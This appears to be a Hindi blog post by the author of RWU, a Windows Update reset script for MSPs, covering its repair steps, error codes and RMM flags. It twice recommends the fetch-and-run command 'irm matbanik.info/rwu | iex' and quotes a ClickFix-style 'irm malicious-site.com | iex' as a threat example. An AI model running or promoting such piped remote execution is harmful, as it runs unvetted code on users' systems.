Reset Windows Update: MSPs के लिए RWU की डेफिनिटिव गाइड
Manuel Gil की Windows Update रीसेट स्क्रिप्ट ने मार्च 2023 में आर्काइव होने से पहले आधा मिलियन से ज़्यादा डाउनलोड्स पार कर लिए थे। Dev-C++ का सक्सेसर — Reset-Windows-Update-Tool, GitHub पर 513 स्टार्स — भी 16 जनवरी 2026 को आर्काइव हो गया। सालों तक, ये वो टूल्स थे जिन पर sysadmins तब भरोसा करते थे जब Microsoft का ट्रबलशूटर कंधे उचकाकर कहता था “हम समस्या की पहचान नहीं कर सके।”
वो अब नहीं रहे। और किसी ने उनकी जगह नहीं ली।
आज “reset Windows Update” सर्च करो तो बहुत सारी कंज़्यूमर गाइड्स मिलेंगी। Settings पैनल्स के स्क्रीनशॉट्स। “Troubleshoot पर क्लिक करो, फिर Additional troubleshooters।” विडंबना: वो ट्रबलशूटर खुद MSDT रिटायरमेंट के साथ deprecated हो रहा है। Microsoft अपना ही fix-it टूल बंद कर रहा है।
सैकड़ों endpoints मैनेज करने वाले MSP टेक्नीशियन्स के लिए, गैप और भी बड़ा है। तुम्हें कुछ ऐसा चाहिए जो तुम्हारे RMM के ज़रिए साइलेंटली रन हो। कुछ ऐसा जो उस Intune रिंग कॉन्फ़िगरेशन को बर्बाद न करे जिसे तुम्हारी टीम ने तीन हफ़्ते लगाकर फ़ाइन-ट्यून किया। कुछ ऐसा जो एक स्ट्रक्चर्ड एग्ज़िट कोड दे, न कि एक GUI डायलॉग बॉक्स जिसके सामने कोई बैठा ही नहीं है।
इसीलिए मैंने RWU बनाया। ये Windows Update के लिए कोई “एक जादुई ट्रिक” नहीं है। ये 14-स्टेप का रिव्यूएबल, रिवर्सिबल टेक्नीशियन वर्कफ़्लो है जिसमें सेफ़ डिफ़ॉल्ट्स, ऑप्ट-इन डेंजरस ऑपरेशन्स, ऑटोमेशन के लिए CLI एग्ज़िट कोड्स, और AI एनालिसिस के लिए स्ट्रक्चर्ड डायग्नोस्टिक आउटपुट है। एक सिंगल .cmd फ़ाइल। GPL-3.0। कोई इंस्टॉलर नहीं, कोई टेलीमेट्री नहीं, कोई परसिस्टेंस नहीं।
तीन फ़ेल्योर बकेट्स
ज़्यादातर Windows Update गाइड्स डायग्नोसिस छोड़कर सीधे फ़िक्स पर कूद जाती हैं। सर्विसेज़ बंद करो, SoftwareDistribution डिलीट करो, रीस्टार्ट करो, उंगलियाँ क्रॉस करो। ये लगभग एक तिहाई बार काम करता है। बाकी दो तिहाई बार, तुमने बीस मिनट बर्बाद किए और शायद चीज़ें और बिगाड़ दीं।
समस्या ये है कि Windows Update फ़ेल्योर्स एक समस्या नहीं हैं। ये तीन हैं।
बकेट 1: लोकल स्टेट करप्शन। SoftwareDistribution फ़ोल्डर सड़ चुका है। Catroot2 में हैश मिसमैच हैं। BITS ट्रांसफ़र क्यू डेडलॉक्ड है। क्लासिक कोड्स: 0x80070002, 0x80073712। मशीन का अपडेट पाइपलाइन अपने ही बासी डेटा में फँसा है। लोकल रीसेट — सर्विसेज़ बंद करो, फ़ोल्डर्स रीनेम करो, DLLs री-रजिस्टर करो — ये भरोसेमंद तरीके से ठीक करता है।
बकेट 2: पॉलिसी कॉन्फ़्लिक्ट्स। ये वो है जो MSPs को काटता है। एक मशीन जो पहले WSUS सर्वर पर पॉइंट करती थी, उसमें अभी भी रजिस्ट्री कुकी है। एक Intune-मैनेज्ड डिवाइस में Windows Update for Business रिंग सेटिंग्स कॉन्फ़्लिक्ट कर रही हैं, जो डोमेन-जॉइन होने के समय की बची हुई Group Policy के ऊपर लेयर्ड हैं। लक्षण बकेट 1 जैसे ही दिखते हैं। फ़िक्स पूरी तरह अलग है — और अगर तुम पॉलिसी स्टेट क्लियर किए बिना बकेट 1 का फ़िक्स लगाते हो, तो एक हफ़्ते में वापस आओगे।
बकेट 3: Microsoft ने कुछ तोड़ दिया। मई 2026 में KB5089549 ने 0x800f0922 एरर्स इसलिए पैदा किए क्योंकि cumulative update को जितनी EFI पार्टीशन स्पेस चाहिए थी, उतनी बहुत सी मशीनों के पास नहीं थी। अप्रैल 2026 में KB5082063 ने Privileged Access Management चला रहे Domain Controllers पर LSASS को क्रैश किया, जिससे एक इनफ़िनिट रीबूट लूप बना जिसके लिए Microsoft के इमरजेंसी आउट-ऑफ़-बैंड पैच KB5091157 की ज़रूरत पड़ी। कोई लोकल रीसेट स्क्रिप्ट इन्हें ठीक नहीं करती। तुम्हें सही पैच चाहिए, या पार्टीशन मेंटेनेंस, या रिकवरी में बूट।
इन बकेट्स को मिलाने का ख़तरा असली है। “सब सर्विसेज़ बंद करो और रजिस्ट्री पॉलिसीज़ समेत सब कुछ डिलीट करो” — ये अप्रोच बकेट 1 ठीक करता है। बकेट 2 को विनाशकारी तरीके से नुकसान पहुँचाता है — तुमने अभी एक मैनेज्ड डिवाइस को अपने अपडेट मैनेजमेंट रिंग से बाहर कर दिया। और बकेट 3 पर क़ीमती वक़्त बर्बाद करता है जबकि एक Domain Controller तुम्हारे प्रोडक्शन एनवायरमेंट में बूट-लूप कर रहा है।
RWU का आर्किटेक्चर सीधे इन बकेट्स पर मैप करता है। बकेट 1 रिपेयर्स डिफ़ॉल्ट हैं। बकेट 2 ऑपरेशन्स (पॉलिसी डिलीशन, SDDL रीसेट) को एक्सप्लिसिट ऑप्ट-इन चाहिए। बकेट 3 को डायग्नोज़ किया जाता है और फ़्लैग किया जाता है — “इस टूल के स्कोप से बाहर — ये इन्वेस्टिगेट करो।“
टूल लैंडस्केप: कौन क्या करता है
Windows Update रिपेयर टूलिंग की मौजूदा स्थिति:
| टूल | स्टेटस | इंडिविजुअल स्टेप्स | इंटरफ़ेस | AI-रेडी लॉग्स? | हैश वेरिफ़ाई? |
|---|---|---|---|---|---|
| RWU | एक्टिव | हाँ — 14 स्टेप्स | TUI + CLI (0/1/2) | हाँ | हाँ (SHA256) |
| Microsoft WU Troubleshooter | MSDT के साथ deprecated | आंशिक | सिर्फ़ GUI | नहीं | N/A |
| ManuelGil Reset-Windows-Update-Tool | जनवरी 2026 आर्काइव | हाँ | TUI मेन्यू | नहीं | नहीं |
| ManuelGil Script-Reset-WU | मार्च 2023 आर्काइव | हाँ | कोई नहीं | नहीं | नहीं |
| ChrisTitusTech/winutil | एक्टिव | नहीं | GUI | नहीं | नहीं |
| PSWindowsUpdate | एक्टिव | हाँ | Cmdlet | नहीं | मॉड्यूल साइनिंग |
WinUtil का ज़िक्र ज़रूरी है। लगभग 55,000 स्टार्स के साथ, Chris Titus Tech का टूल सबसे विज़िबल ओपन-सोर्स Windows यूटिलिटी है। Debloating और सिस्टम कॉन्फ़िगरेशन के लिए बढ़िया है। लेकिन इसका Updates मॉड्यूल सिर्फ़ Default, Security-only और Disabled अपडेट पॉलिसीज़ के बीच टॉगल करता है। ये टूटे हुए Windows Update कम्पोनेंट्स रिपेयर नहीं करता। अगर कोई 0x80073712 कम्पोनेंट स्टोर करप्शन के लिए WinUtil रेकमेंड करता है, तो वो अपडेट सेटिंग्स को अपडेट रिपेयर से कन्फ़्यूज़ कर रहा है।
Manuel Gil के टूल्स असली चीज़ थे। .bat स्क्रिप्ट सिंपल और इफ़ेक्टिव थी — सर्विसेज़ बंद करो, फ़ोल्डर्स रीनेम करो, DLLs री-रजिस्टर करो। बिल्कुल वो KB971058 वर्कफ़्लो जो Microsoft डॉक्यूमेंट करता था। लेकिन किसी भी वर्ज़न में RMM एग्ज़िट कोड्स, AI-रेडी डायग्नोस्टिक्स, या सेफ़ और डेंजरस ऑपरेशन्स के बीच कोई अलगाव नहीं था। सब कुछ सीक्वेंस में चलता था, हर बार।
RWU असल में क्या करता है
14-स्टेप आर्किटेक्चर
RWU के स्टेप्स लॉजिकल फ़ेज़ेज़ में ग्रुप होते हैं:
स्टेप 0 — डायग्नोस्टिक्स। कुछ भी बदलने से पहले, RWU सिस्टम स्टेट कैप्चर करता है: OS वर्ज़न और बिल्ड, wuauserv/cryptSvc/bits/msiserver/appidsvc का सर्विस स्टेटस, EFI पार्टीशन समेत डिस्क स्पेस, CBS.log की आख़िरी 100 लाइन्स (पूरी सैकड़ों MB की फ़ाइल नहीं), और हाल की Windows Update इवेंट लॉग एंट्रीज़। ये आउटपुट AI एनालिसिस के लिए डिज़ाइन किया गया है।
स्टेप 1-2 — सर्विसेज़ स्टॉप। Windows Update, Cryptographic Services, BITS, Windows Installer, Application Identity। RWU फ़ोर्स-किल करने की बजाय क्लीन स्टॉप्स का इंतज़ार करता है, जो कम्पोनेंट स्टोर में डेटा करप्शन से बचाता है।
स्टेप 3-5 — क्लीन और रीबिल्ड। SoftwareDistribution को टाइमस्टैम्प के साथ रीनेम किया जाता है — SoftwareDistribution.bak.20260522-143022 — ताकि टूल दोबारा चलाने पर एक्ज़िस्टिंग .bak फ़ोल्डर पर फ़ेल न हो। Catroot2 को भी यही ट्रीटमेंट मिलता है। फिर कोर Windows Update DLLs री-रजिस्टर होती हैं: atl.dll से wuwebv.dll तक 34 DLLs, पूरे अपडेट और क्रिप्टोग्राफ़ी पाइपलाइन को कवर करती हैं।
स्टेप 6-7 — ख़तरनाक (सिर्फ़ एक्सप्लिसिट ऑप्ट-इन)। स्टेप 6 HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate के तहत Windows Update रजिस्ट्री पॉलिसीज़ को एक्सपोर्ट करता है, फिर डिलीट करता है। स्टेप 7 BITS और WU सर्विस के सिक्योरिटी डिस्क्रिप्टर्स को Windows डिफ़ॉल्ट्स पर रीसेट करता है। दोनों डिफ़ॉल्ट से ऑफ़ हैं। दोनों को एक्सप्लिसिट ऑप्ट-इन चाहिए — TUI टॉगल या CLI फ़्लैग्स /policy और /sddl।
स्टेप 8 — सिस्टम फ़ाइल रिपेयर। sfc /scannow के बाद DISM /Online /Cleanup-Image /RestoreHealth। कम्पोनेंट स्टोर करप्शन के ख़िलाफ़ वन-टू पंच। RWU डायग्नोस्टिक रिव्यू के लिए आउटपुट कैप्चर करता है।
स्टेप 9-10 — नेटवर्क स्टैक। Winsock रीसेट और प्रॉक्सी सेटिंग्स क्लियर। ये उन केसेज़ को पकड़ते हैं जहाँ अपडेट फ़ेल्योर्स असल में नेटवर्क स्टैक करप्शन हैं।
स्टेप 11-14 — फ़ाइनलाइज़। बंद सर्विसेज़ रीस्टार्ट, अपडेट डिटेक्शन साइकल फ़ोर्स, इवेंट लॉग डंप, और स्ट्रक्चर्ड एग्ज़िट कोड के साथ समरी जेनरेट।
सेफ़ डिफ़ॉल्ट्स: स्टेप 6 और 7 लॉक क्यों हैं
ये वो आर्किटेक्चरल डिसीज़न है जो मुझे सबसे ज़्यादा मायने रखता है।
स्टेप 6 Windows Update रजिस्ट्री पॉलिसीज़ डिलीट करता है। एक स्टैंडअलोन होम PC पर, ठीक है। एक Intune-मैनेज्ड डिवाइस पर, तुमने अभी Windows Update for Business रिंग मेंबरशिप तबाह कर दी। डिवाइस “पायलट रिंग, 7-दिन डिफ़रल” से “अनमैनेज्ड, जो Microsoft अभी पुश करे वो इंस्टॉल करो” पर चला जाता है। WSUS सर्वर पर अभी भी पॉइंट करने वाली मशीन पर (हाँ, WSUS सितंबर 2024 में deprecated हुआ, लेकिन बहुत से एनवायरमेंट्स अभी भी चला रहे हैं), तुमने WSUS पॉइंटर हटा दिया और मशीन सीधे Microsoft CDN से अपडेट्स पुल करने लगती है।
स्टेप 7 सर्विस सिक्योरिटी डिस्क्रिप्टर्स रीसेट करता है। एक लॉक्ड-डाउन एंटरप्राइज़ एंडपॉइंट पर जहाँ सिक्योरिटी टूलिंग ने इन डिस्क्रिप्टर्स को जानबूझकर टाइट किया है, तुमने वो पॉस्चर तोड़ दिया।
TroubleChute की अपडेट गाइड्स डिफ़ॉल्ट से पॉलिसीज़ रीसेट करती हैं। Manuel Gil के टूल्स स्टेप-लेवल ऑप्ट-इन का कॉन्सेप्ट बिना सब कुछ सीक्वेंस में चलाते थे। RWU सेफ़ ऑपरेशन्स को डिस्ट्रक्टिव से अलग करता है। डिफ़ॉल्ट सेफ़ है। न्यूक्लियर ऑप्शन उपलब्ध है — लेकिन तुम्हें एक्सप्लिसिटली रिक्वेस्ट करनी होगी।
शुरू कैसे करें
एक लाइन:
irm matbanik.info/rwu | iex
क्या होता है: rwu.ps1 लॉन्चर matbanik.info से डाउनलोड होता है, GitHub से RWU की लेटेस्ट रिलीज़ फ़ेच करता है, SHA256 हैश वेरिफ़ाई करता है, Reset_WindowsUpdate.cmd एक्सट्रैक्ट करता है, और UAC एलिवेशन प्रॉम्प्ट के साथ चलाता है। अगर हैश मैच नहीं करता, कुछ भी एक्ज़ीक्यूट नहीं होता।
ट्रस्ट मॉडल: GitHub पर GPL-3.0 सोर्स कोड। एक्ज़ीक्यूशन से पहले SHA256 वेरिफ़िकेशन। सिंगल .cmd फ़ाइल — कोई इंस्टॉलर नहीं, कोई परसिस्टेंस नहीं, कोई टेलीमेट्री नहीं। एंडपॉइंट को छूने से पहले कोड की हर लाइन ऑडिट कर सकते हो।
अब, कमरे का हाथी। Microsoft के Security Blog ने अगस्त 2025 में PowerShell के irm और iex cmdlets को ClickFix सोशल-इंजीनियरिंग कैंपेन्स में “बहुत प्रचलित” बताया। थ्रेट एक्टर्स यूज़र्स को irm malicious-site.com | iex चलाने के लिए बरगलाते हैं और गेम ओवर।
RWU की हैश वेरिफ़िकेशन इसे सीधे एड्रेस करती है। लॉन्चर आँख मूँदकर डाउनलोड-और-एक्ज़ीक्यूट नहीं करता। डाउनलोड करता है, पब्लिश्ड चेकसम के अगेंस्ट SHA256 वेरिफ़ाई करता है, और सिर्फ़ मैच होने पर एक्ज़ीक्यूट करता है। कॉम्प्रोमाइज़्ड डाउनलोड पाथ हैश मिसमैच पैदा करता है और लॉन्चर एबॉर्ट हो जाता है।
अगर irm | iex से अभी भी दिक़्क़त है — समझ आती है — सीधे GitHub Releases से डाउनलोड करो। .cmd फ़ाइल वहीं है। हैश ख़ुद वेरिफ़ाई करो।
एरर कोड्स और उनका मतलब
Windows Update एरर कोड्स हेक्साडेसिमल दुख हैं। यहाँ सबसे कॉमन कोड्स का मैपिंग है — क्या असल में टूटा है और कौन से RWU स्टेप्स उन्हें एड्रेस करते हैं:
| एरर कोड | मतलब | रूट कॉज़ | RWU स्टेप्स |
|---|---|---|---|
| 0x80070002 | फ़ाइल/रजिस्ट्री की मिसिंग | SoftwareDistribution करप्शन | स्टेप 3-5 |
| 0x800f0922 | CBS स्टेजिंग फ़ेल्योर | EFI पार्टीशन स्पेस ख़त्म (मई 2026 KB5089549) | स्टेप 0 डायग्नोज़; स्टेप 3-5 |
| 0x80073712 | कम्पोनेंट स्टोर करप्ट | WinSxS में मैनिफ़ेस्ट मिसमैच | स्टेप 8 (DISM) |
| 0x800f081f | DISM सोर्स फ़ाइल्स मिसिंग | रिपेयर सोर्स उपलब्ध नहीं | स्टेप 8, /Source:wim |
| 0x80240069 | रीबूट पेंडिंग | पिछले अपडेट को रीस्टार्ट चाहिए | स्टेप 11-14 |
| 0x8024402c | WU सर्वर्स तक नहीं पहुँच पा रहे | नेटवर्क स्टैक या प्रॉक्सी इश्यू | स्टेप 9-10 |
| 0x80244022 | सर्वर अनुपलब्ध | Microsoft CDN ब्लॉक्ड या डाउन | RWU डायग्नोज़; फ़ायरवॉल/प्रॉक्सी इश्यू |
| 0x8024401c | कनेक्शन टाइमआउट | प्रॉक्सी या लेटेंसी इश्यू | स्टेप 9-10; फ़ायरवॉल रूल्स ज़रूरी |
0x800f0922 कोड पर नज़र रखनी चाहिए। मई 2026 में KB5089549 ने इसे बड़े पैमाने पर ट्रिगर किया क्योंकि cumulative update को ज़्यादा EFI पार्टीशन स्पेस चाहिए थी जितनी बहुत सी मशीनों के पास थी। Microsoft ने कन्फ़र्म किया कि 10 MB या कम EFI फ़्री स्पेस वाली मशीनें इंस्टॉलेशन के 35% पर रोलबैक लूप में फँस गईं। RWU का स्टेप 0 डायग्नोस्टिक्स कम EFI स्पेस फ़्लैग करेगा। पार्टीशन रीसाइज़ नहीं कर सकता — लेकिन कम से कम तुम्हें पता चलेगा कि तुम हार्डवेयर कंस्ट्रेंट चेज़ कर रहे हो, सॉफ़्टवेयर करप्शन नहीं।
RMM इंटीग्रेशन: MSPs के लिए CLI मोड
TUI इंटरैक्टिव ट्रबलशूटिंग के लिए काम का है। फ़्लीट डिप्लॉयमेंट के लिए, CLI चाहिए।
एग्ज़िट कोड्स:
0— सक्सेस। सब स्टेप्स बिना एरर पूरे हुए।1— फ़ेल्योर। कम से कम एक स्टेप में एरर। लॉग चेक करो।2— यूसेज एरर। ग़लत आर्ग्यूमेंट्स या हेल्प रिक्वेस्ट।
CLI फ़्लैग्स:
| फ़्लैग | एक्शन |
|---|---|
/diag | सिर्फ़ डायग्नोस्टिक्स (स्टेप 0)। कोई बदलाव नहीं। |
/reset | पूरा सेफ़ रीसेट (स्टेप 1-5, 8-14)। |
/step N | स्पेसिफ़िक स्टेप चलाओ। वैलिड: 0, 1-2, 3, 4, 5, 6, 7, 8, 9-10, 11-14। |
/policy | स्टेप 6 इनेबल (पॉलिसी डिलीशन)। एक्सप्लिसिट ऑप्ट-इन। |
/sddl | स्टेप 7 इनेबल (SDDL रीसेट)। एक्सप्लिसिट ऑप्ट-इन। |
/logdir "पाथ" | लॉग्स स्पेसिफ़िक डायरेक्ट्री में। |
साइलेंट डिप्लॉयमेंट:
Reset_WindowsUpdate.cmd /reset /logdir "C:\Temp\RWU"
ये सेफ़ रीसेट सीक्वेंस चलाता है और C:\Temp\RWU में लॉग्स लिखता है। एग्ज़िट कोड तुम्हारे RMM को बताता है कि काम हुआ या नहीं।
/diag फ़्लैग अंडररेटेड है। Patch Tuesday से पहले अपनी पूरी फ़्लीट पर चलाओ। आउटपुट पार्स करो। cumulative update पुश करने से पहले कम EFI स्पेस, बंद सर्विसेज़, या बासी पॉलिसी कुकीज़ वाली मशीनें आइडेंटिफ़ाई करो। प्री-फ़्लाइट डायग्नोस्टिक्स पोस्ट-फ़ेल्योर रेमेडिएशन से ज़्यादा टाइम बचाते हैं।
AI-रेडी डायग्नोस्टिक्स
CBS.log वो जगह है जहाँ Windows Update डीबगिंग रहती है। वो जगह भी जहाँ डीबगिंग करियर मरने आते हैं। फ़ाइल रूटीनली सैकड़ों MB ग्रैन्युलर सर्विसिंग टेलीमेट्री तक बढ़ जाती है। उस वॉल्यूम में असली फ़ेल्योर ढूँढ़ना तजुर्बेकार टेक्नीशियन्स के लिए भी थकाऊ है।
RWU का स्टेप 0 एक स्ट्रक्चर्ड डायग्नोस्टिक स्नैपशॉट कैप्चर करता है — रेलेवेंट डेटा, AI कंज़म्पशन के लिए प्री-पार्स्ड।
“Bottom Line” फ़ॉर्मेट टाइम-सेवर है। तुम्हें क्लाइंट-रेडी समरी मिलती है जो सीधे टिकट या ईमेल में पेस्ट कर सकते हो — कोई ट्रांसलेशन ज़रूरी नहीं। एक्यूरेसी चेक करो, भेजो। मैंने AI को अपने कम्युनिकेशन पैटर्न्स सिखाने और AI आउटपुट्स को एक्यूरेसी के लिए वेट करने पर रिलेटेड पोस्ट्स में और लिखा है।
मुख्य इनसाइट: 200 MB CBS.log को LLM को भेजना महँगा है और आमतौर पर कॉन्टेक्स्ट लिमिट्स हिट करता है। 100 प्री-पार्स्ड रेलेवेंट लाइन्स भेजना लगभग मुफ़्त है और AI को बिल्कुल वो देता है जो चाहिए।
जब RWU मदद नहीं करेगा
ईमानदार लिमिट्स फ़ेक कॉन्फ़िडेंस से ज़्यादा ट्रस्ट बनाती हैं। ये है जो RWU ठीक नहीं कर सकता:
EFI पार्टीशन एक्ज़ॉस्टेड। स्टेप 0 डायग्नोज़ करता है। RWU पार्टीशन रीसाइज़ नहीं कर सकता। EFI पार्टीशन एक्सटेंड करने के लिए diskpart या पार्टीशन मैनेजर चाहिए।
Domain Controllers पर LSASS बूट लूप। अप्रैल 2026 का KB5082063 किसी भी लोकल टूल के चलने से पहले LSASS को क्रैश करता है। Microsoft का OOB पैच KB5091157 रिकवरी एनवायरमेंट से अप्लाई करना होगा।
Windows 10 ESU एनरोलमेंट फ़ेल्योर्स। अगर Extended Security Update लाइसेंसिंग वैलिडेट नहीं है, अपडेट्स लाइसेंस एरर्स से फ़ेल होते हैं। ये लाइसेंसिंग इश्यू है, WU कम्पोनेंट इश्यू नहीं।
नेटवर्क-लेवल ब्लॉक्स। अगर तुम्हारा फ़ायरवॉल Microsoft CDN एंडपॉइंट्स ब्लॉक करता है, लोकल नेटवर्क स्टैक रीसेट करने से मदद नहीं मिलेगी। स्टैक ठीक है। पॉलिसी ट्रैफ़िक ब्लॉक कर रही है।
इर्रिकवरेबल कम्पोनेंट स्टोर डैमेज। अगर DISM /RestoreHealth “सोर्स फ़ाइल्स नहीं मिलीं” से फ़ेल होता है और तुम्हारे पास मैचिंग install.wim नहीं है, तो इन-प्लेस अपग्रेड या क्लीन इंस्टॉल ज़रूरी है। RWU बताता है कि DISM फ़ेल हुआ — मिसिंग सोर्स फ़ाइल्स पैदा नहीं कर सकता।
आगे क्या
RWU सोर्स कोड GitHub पर है। GPL-3.0। काम आए तो स्टार करो — विज़िबिलिटी दूसरे टेक्नीशियन्स को टूल ढूँढ़ने में मदद करती है। Issues बग्स और फ़ीचर रिक्वेस्ट्स के लिए ओपन हैं।
Manuel Gil के टूल्स ने Windows एडमिन कम्युनिटी की सालों सेवा की। जब आर्काइव हुए, तो एक गैप छोड़ गए जो कंज़्यूमर गाइड्स और debloating यूटिलिटीज़ नहीं भर सकीं। RWU वहीं से शुरू करता है — उन एडिशन्स के साथ जो मॉडर्न MSP वर्कफ़्लोज़ डिमांड करते हैं: एग्ज़िट कोड्स जो तुम्हारा RMM पार्स कर सके, सेफ़ डिफ़ॉल्ट्स जो तुम्हारी मैनेज्ड पॉलिसीज़ बर्बाद न करें, और डायग्नोस्टिक आउटपुट जो AI-ऑग्मेंटेड ट्रबलशूटिंग के लिए डिज़ाइन किया गया है जो नई नॉर्मल बन रही है।
कमांड है irm matbanik.info/rwu | iex। या GitHub से डाउनलोड करो। किसी भी तरह — रिव्यूएबल, रिवर्सिबल, प्रोफ़ेशनल-ग्रेड।
संसाधन
- RWU — Reset Windows Update (GitHub)
- RWU PowerShell Launcher
- ManuelGil/Reset-Windows-Update-Tool (आर्काइव्ड)
- ManuelGil/Script-Reset-Windows-Update-Tool (आर्काइव्ड)
- ChrisTitusTech/winutil
- PSWindowsUpdate (PowerShell Gallery)
- MSDT बंद — Microsoft Support
- WSUS बंद — Microsoft Tech Community
- ClickFix सोशल इंजीनियरिंग — Microsoft Security Blog
- AI को आदतें कैसे सिखाएं — और खुद को दोहराना बंद करें
- उत्पादकता उपकरण के रूप में AI का मूल्यांकन